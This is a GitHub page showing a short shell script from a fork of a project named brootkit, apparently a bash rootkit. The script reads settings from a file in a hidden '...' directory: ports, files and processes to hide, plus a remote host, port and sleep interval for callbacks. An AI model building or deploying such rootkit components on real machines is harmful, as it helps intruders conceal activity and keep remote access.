forked from cloudsec/brootkit
-
Notifications
You must be signed in to change notification settings - Fork 0
/
brshconfig.sh
executable file
·46 lines (41 loc) · 1.18 KB
/
brshconfig.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/bin/sh
br_load_config()
{
local arg1 arg2 line
while read line
do
arg1=`echo $line | cut -d " " -f 1`
arg2=`echo $line | cut -d " " -f 2`
case $arg1 in
"HIDE_PORT")
br_hide_port=$arg2;;
"HIDE_FILE")
br_hide_file=$arg2;;
"HIDE_PROC")
br_hide_proc=$arg2;;
"REMOTE_HOST")
br_remote_host=$arg2;;
"REMOTE_PORT")
br_remote_port=$arg2;;
"SLEEP_TIME")
br_sleep_time=$arg2;;
esac
done < $1
}
br_display_config()
{
echo -e "HIDE_PORT:"
echo $br_hide_port
echo -e "HIDE_FILE:"
echo $br_hide_file
echo -e "HIDE_PROC:"
echo $br_hide_proc
echo -e "REMOTE_HOST:"
echo $br_remote_host
echo -e "REMOTE_PORT:"
echo $br_remote_port
echo -e "SLEEP_TIME:"
echo $br_sleep_time
}
br_load_config "/home/$USER/.../brsh.conf"
#br_display_config